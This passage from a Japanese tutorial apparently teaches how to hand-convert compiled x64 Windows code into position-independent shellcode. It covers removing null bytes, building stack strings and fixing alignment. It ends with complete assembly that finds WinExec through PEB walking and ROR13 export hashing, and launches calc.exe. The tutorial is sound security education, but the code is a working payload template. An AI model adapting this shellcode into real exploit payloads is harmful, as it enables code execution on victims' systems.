GSセグメントのオフセットを示す値（`0x60`）にナルバイトが含まれています。これは、オフセット値が32ビット（`0x00000060`）で解釈されたためです。一般に、命令（およびアドレス指定方式）の仕様でオペランドのサイズは定められており、それより桁が小さい値は上位ビットが0で穴埋めされます。このようなケースでは、レジスタで置き換える際に、下位ビットのみを指し示すレジスタを使用することでナルバイトを回避できます。

使用するレジスタは、全体の処理に影響を与えないものを選ぶ必要があります。今回は、RBXが全体を通して`0x00`としてしか扱われていなかったので、RBXを選びました。当該処理の後にRBXを`xor`する（`0x00`に戻す）ことで、他の処理へ影響を与えないようにしています。

`mov`は、第一オペランドのレジスタに合わせて値の幅を決定します。BLはRBXの下位8ビットを指し示すレジスタであるため、`0x60`はそのまま8ビットで解釈され、上位ビットは穴埋めされません。

  ```diff_python
  - mov    rax,QWORD PTR gs:0x60 ### 該当箇所１ ###
  + xor    rbx,rbx      #RBX = 0
  + mov    bl,0x60      #RBX = 0x0000000000000060
  + mov    rax,gs:[rbx] #RAX = GS:[RBX] = GS:[0x00000060] = PEB
  + xor    rbx,rbx      #RBX = 0
  ```
:::note
mov命令の仕様に基づいた正確な説明は下記の通りです[[参考１]](https://www.felixcloutier.com/x86/mov)[[参考２]](https://sourceware.org/binutils/docs/as/i386_002dVariations.html)。
+ In 64-bit mode, the instruction’s default operation size is 32 bits. 
+ In 64-bit code, ‘movabs’ can be used to encode the ‘mov’ instruction with the 64-bit displacement or immediate operand.
  64ビットモードであっても、mov命令はオペランドを32ビットと解釈します。つまり、該当箇所１では第１オペランドにRAXを指定していましたが、実際は下位32ビット（EAX）に対して操作が実行されます。64ビットの即値をコピーしたい場合は、movabs命令を使用することが推奨されています。
+ Both operands must be the same size, which can be a byte, a word, a doubleword, or a quadword.
  第１オペランドと第２オペランドは同じサイズでなければいけません。
+ The moffs8, moffs16, moffs32, and moffs64 operands specify a simple offset relative to the segment base, where 8, 16, 32, and 64 refer to the size of the data. The address-size attribute of the instruction determines the size of the offset, either 16, 32, or 64 bits.
  セグメント・ベースを基準としたアドレス指定方式の場合、オフセットのサイズは命令のアドレスサイズ属性に従います。
  
該当箇所１はGSセグメントを基準としたアドレス指定方式です。オフセットは命令のアドレスサイズ属性に従います。mov命令は、64ビットモードであってもオペランドを32ビットと解釈するので、アドレスサイズは32ビットです。よって、`0x60`は32ビットとして扱われ、`0x00000060`に変換されます。
:::

#### 該当箇所２～４，６
これらはコンパイラの都合で挿入された`nop`のため、行ごと削除して問題ありません。
  ```diff_python
  - 140001038:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所２ ###
  - 14000103f:   00
  ```
  ```diff_python
  - 140001064:   0f 1f 40 00             nop    DWORD PTR [rax+0x0] ### 該当箇所３ ###
  - 140001068:   0f 1f 84 00 00 00 00    nop    DWORD PTR [rax+rax*1+0x0] ### 該当箇所４ ###
  - 14000106f:   00
  ```
  ```diff_python
  - 1400010e5:   66 66 66 0f 1f 84 00    data16 data16 nop WORD PTR [rax+rax*1+0x0] ### 該当箇所６ ###
  - 1400010ec:   00 00 00 00
  ```

#### 該当箇所５
実効アドレス計算のオフセット（`0x88`）にナルバイトが含まれています。原理は該当箇所１と同じであるため、同様の変更を施します。

  ```diff_python
  - mov    ecx,DWORD PTR [rax+r14*1+0x88] ### 該当箇所５ ###
  + xor rbx,rbx
  + mov bl,0x88
  + add r14,rbx #R14 = R14+0x88
  + mov ecx,DWORD PTR [rax+r14]
  + sub r14,rBX #R14 = R14-0x88
  + xor rbx,rbx
  ```

#### 該当箇所７
実効アドレス計算のオフセット自体（`0x0`）がナルバイトになっています。
一見、オフセット`+0x0`は意味が無いので、それを削除すればナルバイトを除去できるように思えます。しかし、アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない場合があります。

:::note
> アドレス指定方式とレジスタの組み合わせによっては、オフセットを必ず書かなければいけない

これがx64の仕様なのか、コンパイラやアセンブラの仕様なのかを調査しましたが、特定することができませんでしたので、深掘った解説は保留します。
:::

今回は、**ベースレジスタにRBPとR9を指定した場合のみ、オフセットが必ず組み込まれる**ことを確認しました。これは、アドレッシングモードによらず適用され、例えば`mov rbx,DWORD PTR [r9]`をアセンブルしてから、生成されたオブジェクトファイルの逆アセンブル結果を見ると、当該命令が`mov rbx,DWORD PTR [r9+0x0]`へ変わっていることが確認されました。

そこで、ベースレジスタをRBPからR12へ変更しました。また、`rcx*4`を予め計算しておくことで、アドレス指定方式を、インデックスアドレス指定方式から間接アドレス指定方式へ変更しました。
インデックスの計算は、`rcx*4`に相当する処理を、論理左シフト命令`shl rcx,2`で再現しています。

  ```diff_python
  - mov    ebx,DWORD PTR [rbp+rcx*4+0x0] ### 該当箇所７ ###
  + shl rcx,2
  + add r12,rcx
  + mov ebx,DWORD PTR [r12]
  ```

#### 該当箇所８
`call`の直前にナルバイトを含む命令があります。これは、`WinExec`の第一引数として、`"calc.exe"`をRCXへ代入する処理です。
```c
/* ソースコード */
((WINEXEC)winExec)("calc.exe", 0);
/* アセンブリ */
140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]        // 0x140002240
```
一般に、PEファイル形式において、ソースコードにハードコーディングされた文字列は、読み取り専用のデータセクション（`.rdata`）に配置されます。今回は、`.rdata`内の`0x140002240`に文字列が配置されたため、RCXに`0x140002240`が代入されました。実際に、当該箇所を見にいくと、`"calc.exe"`が存在することを確認できます。
```python
Disassembly of section .rdata:

0000000140002000 <.rdata>:
   140002000:   56                      push   rsi
   140002001:   2e 00 00                cs add BYTE PTR [rax],al
   140002004:   00 00                   add    BYTE PTR [rax],al
   140002006:   00 00                   add    BYTE PTR [rax],al
   140002008:   7a 2d                   jp     0x140002037
   14000200a:   00 00                   add    BYTE PTR [rax],al
   14000200c:   00 00                   add    BYTE PTR [rax],al
（中略）
   140002239:   ff                      (bad)
   14000223a:   ff                      (bad)
   14000223b:   ff                      (bad)
   14000223c:   ff                      (bad)
   14000223d:   ff                      (bad)
   14000223e:   ff                      (bad)
   14000223f:   ff 63 61                jmp    QWORD PTR [rbx+0x61] # \xff 'c' 'a'
   140002242:   6c                      ins    BYTE PTR es:[rdi],dx # 'l'
   140002243:   63 2e                   movsxd ebp,DWORD PTR [rsi]  # 'c' '.'
   140002245:   65 78 65                gs js  0x1400022ad          # 'e' 'x' 'e'
（以下略）
```
:::note
```c
140001128:   48 8d 0d 11 11 00 00    lea    rcx,[rip+0x1111]      // 0x140002240
```
この命令では、アドレス指定方式として、PC相対アドレス指定が使われています。PC相対アドレス指定とは、RIPとオフセット用いて特定のアドレスを指定することです。RIPには、常に次に実行する命令のアドレスが格納されており、実行時にRIPをベースとしてアドレスを計算することで、プログラムを位置独立で動作させることが可能になります。
+ `"calc.exe"` = RIP+`0x1111` = `14000112f`+`0x1111` = `0x140002240`

前半で、`jmp`のオペランドをラベルに張り替える作業をしましたが、それは絶対アドレスをPC相対アドレスへ変換するためでした。
:::

シェルコードは、PEファイル形式でないため、セクションを構成することはできません。よって、`.rdata`にある文字列は使えず、別の場所へ移す必要があります。

シェルコードで文字列を参照する方法は様々なものが存在しますが、今回は`Stack Strings`という、スタック上に文字列を生成する最もシンプルな方法を使います。具体的には、参照したい文字列をスタックへ`push`すると、自然とRSPが文字列の先頭を指すので、それをそのまま文字列ポインタとして使用します。例えば、文字列終端を含めた`"calc.exe\0"`をスタックに`push`し、RSPをECXへ代入すれば、第一引数に`"calc.exe\0"`を格納できます。

:::note
`Stack Strings`の他に、`call`を使って命令間に文字列を配置する方法、`Virtual Alloc`でメモリ領域を確保し文字列を格納する方法などもありますが、この記事では解説しません。
:::

`"calc.exe"`は８バイトであるため、64ビットのレジスタにぴったり格納できます。文字列終端（`\0`）を`push`した後、`"calc.exe"`を格納したレジスタを`push`すれば完成です。ただし、レジスタへはリトルエンディアンで格納されるため、格納段階で逆順（`"exe.clac"`）にする必要があります。また、64ビットのレジスタへの格納は`mov`ではなく`movabs`を使うことも忘れてはいけません。

```diff_python
- lea    rcx,[rip+0x1111] ### 該当箇所８ ###
+ push rdx #push '\0'
+ movabs rcx,0x6578652E636C6163 #movabs rcx,"exe.clac"
+ push rcx #push "calc.exe"
+ mov rcx,rsp
```

以上で、Bad Charactersの除去が終わりました。
除去が完了した結果を示します。アドレス、及び機械語は削除しています。

<details><summary>逆アセンブル結果４</summary>

```python
	xor rbx,rbx
	mov bl,0x60
	mov rax,gs:[rbx]
	xor rbx,rbx
	mov r14d,ebx
	mov rcx,QWORD PTR [rax+0x18]
	mov r11,QWORD PTR [rcx+0x20]
	mov r10,QWORD PTR [r11]
	cmp r10,r11
	je .end_of_dll
.dll_search:
	mov r9,QWORD PTR [r10+0x50]
	test r9,r9
	je .next_dll
	mov eax,ebx
	mov rdx,0xffffffffffffffff
.wcslen:
	inc rdx
	cmp WORD PTR [r9+rdx*2],ax
	jne .wcslen
	mov r8,rbx
	test rdx,rdx
	je .next_dll
.wror13:
	movzx ecx,WORD PTR [r9+r8*2]
	inc r8
	ror eax,0xd
	add eax,ecx
	cmp r8,rdx
	jb .wror13
	cmp eax,0x6e2bca17
	je .dll_is_found
.next_dll:
	mov r10,QWORD PTR [r10]
	cmp r10,r11
	jne .dll_search
	jmp .dll_is_found
.dll_is_found:
	mov r14,QWORD PTR [r10+0x20]
.end_of_dll:
	movsxd rax,DWORD PTR [r14+0x3c]
	mov r10d,ebx
	xor rbx,rbx
	mov bl,0x88
	add r14,rbx
	mov ecx,DWORD PTR [rax+r14]
	sub r14,rBX
	xor rbx,rbx
	add rcx,r14
	mov r11d,DWORD PTR [rcx+0x20]
	mov esi,DWORD PTR [rcx+0x24]
	add r11,r14
	xor r12,r12
	mov r12d,DWORD PTR [rcx+0x1c]
	add rsi,r14
	mov edi,DWORD PTR [rcx+0x18]
	add r12,r14
	test edi,edi
	je .exec_winexec
.func_search:
	mov r9d,DWORD PTR [r11]
	add r9,r14
	je .next_func
	mov ecx,ebx
	mov rdx,0xffffffffffffffff
.strlen:
	inc rdx
	cmp BYTE PTR [r9+rdx*1],cl
	jne .strlen
	mov r8,rbx
	test rdx,rdx
	je .next_func
.ror13:
	movsx eax,BYTE PTR [r9+r8*1]
	inc r8
	ror ecx,0xd
	add ecx,eax
	cmp r8,rdx
	jb .ror13
	cmp ecx,0xe8afe98
	je .func_is_found
.next_func:
	inc r10d
	add r11,0x4
	cmp r10d,edi
	jb .func_search
	jmp .exec_winexec
.func_is_found:
	mov eax,r10d
	movzx ecx,WORD PTR [rsi+rax*2]
	shl rcx,2
	add r12,rcx
	mov ebx,DWORD PTR [r12]
	add rbx,r14
.exec_winexec:
	xor rdx,rdx
	push rdx
	movabs rcx,0x6578652E636C6163
	push rcx
	mov rcx,rsp
	call rbx #Call WinExec
  ```
</details>


### アライメントの調整
これまでの処理で、シェルコードへの変換はほとんど終わりました。最後に、RSPのアライメントの調整をします。

アライメントとは、レジスタの値や特定のデータの位置が、「キリのいい値」になっていることです。「キリの良さ」はCPUの実装依存ですが、ほとんどはアドレスがバイト単位で`2の倍数`、`4の倍数`、`8の倍数`になっていることが求められ、それぞれ`16ビット境界`、`32ビット境界`、`64ビット境界`などと呼ばれます。

特定の命令は、RSPの値がアライメントされていることを求めており、アライメントされていない場合に例外を吐くことがあります。通常、ソースコードからプログラムをコンパイルした時は、コンパイラがアライメントを考慮してRSPの値を調整してくれますが、今回は手作業でプロローグやエピローグを削除したり、スタック上に文字列を生成したりしているため、RSPがアライメントされていません。

実際に、現段階のシェルコードをアセンブルして実行すると、`WinExec`の処理の途中で`Access Violation`が発生します。

![図５.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4007841/9f939c4b-c13e-4dd2-94d5-ebfaa8117cd0.png)
上図：`WinExec`を呼び出す直前の様子。RSPの値は`0x000000EE825FFA58`である。

![図６.png](https://qiita-image-store.s3.ap-northeast-1.amazonaws.com/0/4007841/d68a3f36-ed9d-42b2-8a90-fad4ecf58c58.png)
上図：`WinExec`の関数内で`Access Violation`が発生した様子。`movaps`がRSPの16ビット境界を要しているため、例外が発生した。

これを避けるためには、`WinExec`を呼び出す前にESPの値が16ビット境界になるよう調整すれば問題ありません。

```diff_python
- push rcx #push "calc.exe"
- mov rcx,rsp
- call rbx
+ push rcx #push "calc.exe"
+ mov rcx,rsp
+ add rsp,0x18 #Alignment
+ call rbx
```

### バイトコードへの変換
以上で、シェルコードが完成しました。
アセンブリの形式へ整形したものを下記に示します。

<details><summary>完成したシェルコード</summary>

  ```python:shellcode_x64_windows.asm
  .intel_syntax noprefix

  .section .text
	.global _start
  _start:
	xor rbx,rbx
	mov bl,0x60 #RBX = 0x0000000000000060
	mov rax,gs:[rbx] #RAX = GS:[0x60] = PEB
	xor rbx,rbx
	mov r14d,ebx
	mov rcx,QWORD PTR [rax+0x18] #RCX = imageBase
	mov r11,QWORD PTR [rcx+0x20] #R11 = start
	mov r10,QWORD PTR [r11] #R10 = entry
	cmp r10,r11
	je .end_of_dll
  .dll_search:
	mov r9,QWORD PTR [r10+0x50] #R9 = DllName
	test r9,r9
	je .next_dll
	mov eax,ebx
	mov rdx,0xffffffffffffffff
  .wcslen:
	inc rdx
	cmp WORD PTR [r9+rdx*2],ax
	jne .wcslen
	mov r8,rbx
	test rdx,rdx
	je .next_dll
  .wror13:
	movzx ecx,WORD PTR [r9+r8*2]
	inc r8
	ror eax,0xd
	add eax,ecx
	cmp r8,rdx #if i == wcslen(DllName)
	jb .wror13
	cmp eax,0x6e2bca17 #if EAX == target
	je .dll_is_found
  .next_dll:
	mov r10,QWORD PTR [r10] #entry = entry->Flink
	cmp r10,r11 #if entry == start
	jne .dll_search
	jmp .dll_is_found
  .dll_is_found:
	mov r14,QWORD PTR [r10+0x20] #R14 = DllBase
  .end_of_dll:
	movsxd rax,DWORD PTR [r14+0x3c] #RAX = NtHeader
	mov r10d,ebx #i = 0
	xor rbx,rbx
	mov bl,0x88
	add r14,rbx #R14 = R14+0x88
	mov ecx,DWORD PTR [rax+r14] #mov ecx,DWORD PTR [rax+r14*1+0x88] => mov ecx,DWORD    PTR [rax+r14]
	sub r14,rBX #R14 = R14-0x88
	xor rbx,rbx
	add rcx,r14 #RCX = ExportDirectory
	mov r11d,DWORD PTR [rcx+0x20]
	mov esi,DWORD PTR [rcx+0x24]
	add r11,r14 #R11 = rvaOfNameOrdinals
	xor r12,r12
	mov r12d,DWORD PTR [rcx+0x1c]
	add rsi,r14 #RSI = rvaOfNames
	mov edi,DWORD PTR [rcx+0x18] #RDI = NumberOfNames
	add r12,r14 #RBP = rvaOfFunctions
	test edi,edi
	je .exec_winexec
  .func_search:
	mov r9d,DWORD PTR [r11]
	add r9,r14
	je .next_func
	mov ecx,ebx
	mov rdx,0xffffffffffffffff
  .strlen:
	inc rdx
	cmp BYTE PTR [r9+rdx*1],cl
	jne .strlen
	mov r8,rbx
	test rdx,rdx
	je .next_func
  .ror13:
	movsx eax,BYTE PTR [r9+r8*1]
	inc r8
	ror ecx,0xd
	add ecx,eax
	cmp r8,rdx #if R8 == strlen()
	jb .ror13
	cmp ecx,0xe8afe98 #if RCX == target
	je .func_is_found
  .next_func:
	inc r10d #i++
	add r11,0x4
	cmp r10d,edi #if i > NumberOfNames
	jb .func_search
	jmp .exec_winexec
  .func_is_found:
	mov eax,r10d
	movzx ecx,WORD PTR [rsi+rax*2]
	shl rcx,2
	add r12,rcx
	mov ebx,DWORD PTR [r12] #mov ebx,DWORD PTR [rbp+rcx*4+0x0] => shl rcx,2 add r12,rcx mov ebx,DWORD PTR [r12]
	add rbx,r14 #RBX = WinExec
  .exec_winexec:
	xor rdx,rdx
	push rdx #push '\0'
	movabs rcx,0x6578652E636C6163 #"calc.exe"
	push rcx
	mov rcx,rsp
	add rsp,0x18 #Alignment
	call rbx #Call WinExec
  ```
  </details>

完成したアセンブリをバイナリへ変換します。ツールは`nasm`を使用しました。nasmは[公式HP](https://www.nasm.us/)からダウンロードできます）。
`-f bin`オプションを付けることにより、ラベルを張ったアドレスがPC相対アドレスに変換され、位置独立で動作するコードになります。
```sh
nasm -f bin -o shellcode_x64_windows.bin shellcode_x64_windows.asm
```


以上、お疲れ様でした。
最後までお読み頂き、ありがとうございます。